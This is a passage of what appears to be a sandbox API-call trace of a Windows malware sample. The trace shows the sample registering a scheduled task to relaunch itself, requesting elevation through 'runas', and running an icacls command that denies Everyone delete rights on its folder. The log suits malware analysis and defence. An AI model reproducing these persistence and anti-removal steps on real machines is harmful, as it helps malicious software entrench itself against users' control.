(This=0x58310a8, Duration="") returned 0x0 [0041.990] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62b1260 | out: hHeap=0x3840000) returned 1 [0041.991] ITrigger:put_Repetition (This=0x5831058, Repetition=0x58310a8) returned 0x0 [0041.991] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xc) returned 0x62b1260 [0041.991] ITrigger:put_Id (This=0x5831058, Id="Trigger1") returned 0x0 [0041.991] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62b1260 | out: hHeap=0x3840000) returned 1 [0041.991] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xc) returned 0x62b1260 [0041.991] ITrigger:put_EndBoundary (This=0x5831058, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0041.991] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62b1260 | out: hHeap=0x3840000) returned 1 [0041.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18d76c | out: lpSystemTimeAsFileTime=0x18d76c*(dwLowDateTime=0x87804020, dwHighDateTime=0x1d56c59)) [0041.991] GetLastError () returned 0x0 [0041.991] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x24) returned 0x62e1860 [0041.991] GetLastError () returned 0x0 [0041.991] GetTimeZoneInformation (in: lpTimeZoneInformation=0x511078 | out: lpTimeZoneInformation=0x511078) returned 0x1 [0041.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x50ae80, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18d6d4 | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18d6d4) returned 26 [0041.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x50aec0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18d6d4 | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18d6d4) returned 26 [0041.992] GetLastError () returned 0x0 [0041.993] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x24) returned 0x62e1890 [0041.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5000b0, cbMultiByte=-1, lpWideCharStr=0x62e1890, cchWideChar=18 | out: lpWideCharStr="%Y-%m-%dT%H:%M:%S") returned 18 [0041.993] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xa0) returned 0x62e8ea0 [0041.993] GetLastError () returned 0x0 [0041.993] ITrigger:put_StartBoundary (This=0x5831058, StartBoundary="2019-09-16T16:40:25") returned 0x0 [0041.993] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62b1260 | out: hHeap=0x3840000) returned 1 [0041.993] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62c26e0 | out: hHeap=0x3840000) returned 1 [0041.993] IUnknown:Release (This=0x5831058) returned 0x1 [0041.993] ITaskDefinition:get_Actions (in: This=0x5830da8, ppActions=0x18dca0 | out: ppActions=0x18dca0*=0x5830e20) returned 0x0 [0041.993] IActionCollection:Create (in: This=0x5830e20, Type=0, ppAction=0x18dc8c | out: ppAction=0x18dc8c*=0x58310e0) returned 0x0 [0041.994] IUnknown:Release (This=0x5830e20) returned 0x1 [0041.994] IUnknown:QueryInterface (in: This=0x58310e0, riid=0x4d50fc*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18dca8 | out: ppvObject=0x18dca8*=0x58310e0) returned 0x0 [0041.994] IUnknown:Release (This=0x58310e0) returned 0x2 [0041.994] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xc) returned 0x62b1260 [0041.994] IExecAction:put_Path (This=0x58310e0, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe") returned 0x0 [0041.994] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62b1260 | out: hHeap=0x3840000) returned 1 [0041.994] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xc) returned 0x62b1260 [0041.994] IExecAction:put_Arguments (This=0x58310e0, Arguments="--Task") returned 0x0 [0041.994] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62b1260 | out: hHeap=0x3840000) returned 1 [0041.994] IUnknown:Release (This=0x58310e0) returned 0x1 [0041.994] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xc) returned 0x62b1260 [0041.994] ITaskFolder:RegisterTaskDefinition (in: This=0x2aff98, Path="Time Trigger Task", pDefinition=0x5830da8, flags=6, UserId=0x18d748*(varType=0x0, wReserved1=0x62c, wReserved2=0xdc5c, wReserved3=0x18, varVal1=0x4209ab, varVal2=0x3840000), password=0x18d758*(varType=0x0, wReserved1=0x0, wReserved2=0xd0, wReserved3=0x0, varVal1=0x67, varVal2=0x7), LogonType=3, sddl=0x18d76c*(varType=0x8, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1="", varVal2=0xd8), ppTask=0x18dc74 | out: ppTask=0x18dc74*=0x5831150) returned 0x0 [0042.109] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62b1260 | out: hHeap=0x3840000) returned 1 [0042.109] TaskScheduler:IUnknown:Release (This=0x2aff98) returned 0x0 [0042.109] TaskScheduler:IUnknown:Release (This=0x5830da8) returned 0x0 [0042.109] IUnknown:Release (This=0x5831150) returned 0x0 [0042.109] CoUninitialize () [0042.110] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x626ef20 | out: hHeap=0x3840000) returned 1 [0042.110] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x626ec98 | out: hHeap=0x3840000) returned 1 [0042.110] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x626ebc0 | out: hHeap=0x3840000) returned 1 [0042.110] GetVersion () returned 0x1db10106 [0042.110] lstrcpyW (in: lpString1=0x18e0d8, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0042.110] lstrcatW (in: lpString1="--Admin", lpString2=" IsNotAutoStart" | out: lpString1="--Admin IsNotAutoStart") returned="--Admin IsNotAutoStart" [0042.110] lstrcatW (in: lpString1="--Admin IsNotAutoStart", lpString2=" IsNotTask" | out: lpString1="--Admin IsNotAutoStart IsNotTask") returned="--Admin IsNotAutoStart IsNotTask" [0042.110] ShellExecuteExW (in: pExecInfo=0x18de9c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18de9c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0042.209] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x629ad48 | out: hHeap=0x3840000) returned 1 [0042.209] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x626eae8 | out: hHeap=0x3840000) returned 1 [0042.209] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x38a2db0 | out: hHeap=0x3840000) returned 1 [0042.210] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x3894e90 | out: hHeap=0x3840000) returned 1 [0042.210] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x3861d20 | out: hHeap=0x3840000) returned 1 [0042.210] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62caaa8 | out: hHeap=0x3840000) returned 1 [0042.210] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62ca1b0 | out: hHeap=0x3840000) returned 1 [0042.210] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x3865fe8 | out: hHeap=0x3840000) returned 1 [0042.211] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x3863628 | out: hHeap=0x3840000) returned 1 [0042.212] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f164 | out: phModule=0x18f164) returned 0 [0042.212] ExitProcess (uExitCode=0x0) [0042.214] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62e1860 | out: hHeap=0x3840000) returned 1 [0042.215] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x38628d0 | out: hHeap=0x3840000) returned 1 [0042.219] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 2 os_tid = 0x9a8 Thread: id = 3 os_tid = 0x9ac Thread: id = 4 os_tid = 0x9b0 Thread: id = 5 os_tid = 0x9b4 Thread: id = 6 os_tid = 0x9b8 Thread: id = 7 os_tid = 0x9bc Thread: id = 8 os_tid = 0x9c0 Thread: id = 22 os_tid = 0x9cc Thread: id = 23 os_tid = 0x9d0 Thread: id = 25 os_tid = 0xa54 Thread: id = 34 os_tid = 0xa64 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x998" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 9 os_tid = 0x814 Thread: id = 10 os_tid = 0x76c Thread: id = 11 os_tid = 0x758 Thread: id = 12 os_tid = 0x74c Thread: id = 13 os_tid = 0x72c Thread: id = 14 os_tid = 0x71c Thread: id = 15 os_tid = 0x718 Thread: id = 16 os_tid = 0x638 Thread: id = 17 os_tid = 0x154 Thread: id = 18 os_tid = 0x150 Thread: id = 19 os_tid = 0x12c Thread: id = 20 os_tid = 0x120 Thread: id = 21 os_tid = 0x3fc Thread: id = 24 os_tid = 0xa34 Thread: id = 131 os_tid = 0x5f4 Thread: id = 182 os_tid = 0x8e0 Process: id = "3" image_name = "icacls.exe" filename = "c:\\windows\\syswow64\\icacls.exe" page_root = "0x4e61b000" os_pid = "0xa58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x998" cmd_line = "icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0xa5c Thread: id = 27 os_tid = 0xa60 Process: id = "4" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x5e7f000" os_pid = "0x50c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "1" os_parent_pid = "0x998" cmd_line = "taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0xa4c Thread: id = 29 os_tid = 0x578 Thread: id = 30 os_tid = 0x574 Thread: id = 31 os_tid = 0x520 Thread: id = 32 os_tid = 0x514 Thread: id = 33 os_tid = 0x510 Thread: id = 74 os_tid = 0xb94 Process: id = "5" image_name = "2b74.tmp.exe.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2b74.tmp.exe.exe" page_root = "0x4dcdd000" os_pid = "0xa68" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x998" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" --Admin IsNotAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 35 os_tid = 0xa6c [0042.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x87bbc280, dwHighDateTime=0x1d56c59)) [0042.403] GetCurrentThreadId () returned 0xa6c [0042.403] GetCurrentProcessId () returned 0xa68 [0042.403] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=16265479067) returned 1 [0042.403] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0042.403] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0042.403] GetLastError () returned 0x57 [0042.403] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74650000 [0042.404] GetProcAddress (hModule=0x74650000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0042.405] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0042.405] GetLastError () returned 0x57 [0042.405] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0042.405] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0042.405] GetLastError () returned 0x57 [0042.405] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0042.405] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0042.405] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0042.406] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0042.406] GetLastError () returned 0x57 [0042.406] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74650000 [0042.406] GetProcAddress (hModule=0x74650000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0042.406] GetProcessHeap () returned 0x3500000 [0042.406] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0042.406] GetLastError () returned 0x57 [0042.406] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0042.406] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0042.407] GetLastError () returned 0x57 [0042.407] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0042.407] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0042.407] GetLastError () returned 0x57 [0042.407] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0042.407] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x364) returned 0x3514b00 [0042.407] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0042.407] SetLastError (dwErrCode=0x57) [0042.407] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0xc00) returned 0x3514e70 [0042.409] GetStartupInfoW (in: lpStartupInfo=0x18fea0 | out: lpStartupInfo=0x18fea0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x49abb0, hStdOutput=0x4f43579d, hStdError=0xfffffffe)) [0042.409] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0042.409] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0042.409] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0042.409] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" --Admin IsNotAutoStart IsNotTask" [0042.409] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" --Admin IsNotAutoStart IsNotTask" [0042.409] GetLastError () returned 0x57 [0042.409] SetLastError (dwErrCode=0x57) [0042.409] GetLastError () returned 0x57 [0042.409] SetLastError (dwErrCode=0x57) [0042.409] GetACP () returned 0x4e4 [0042.409] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x220) returned 0x35127b8 [0042.409] IsValidCodePage (CodePage=0x4e4) returned 1 [0042.409] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fed0 | out: lpCPInfo=0x18fed0) returned 1 [0042.409] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f798 | out: lpCPInfo=0x18f798) returned 1 [0042.409] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.409] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿIĀ") returned 256 [0042.409] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿIĀ", cchSrc=256, lpCharType=0x18f7ac | out: lpCharType=0x18f7ac) returned 1 [0042.409] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.409] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f4e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿɖJĀ") returned 256 [0042.409] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0042.409] GetLastError () returned 0x57 [0042.409] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0042.410] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0042.410] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿɖJĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0042.410] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿɖJĀ", cchSrc=256, lpDestStr=0x18f2d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0042.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18fcac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f 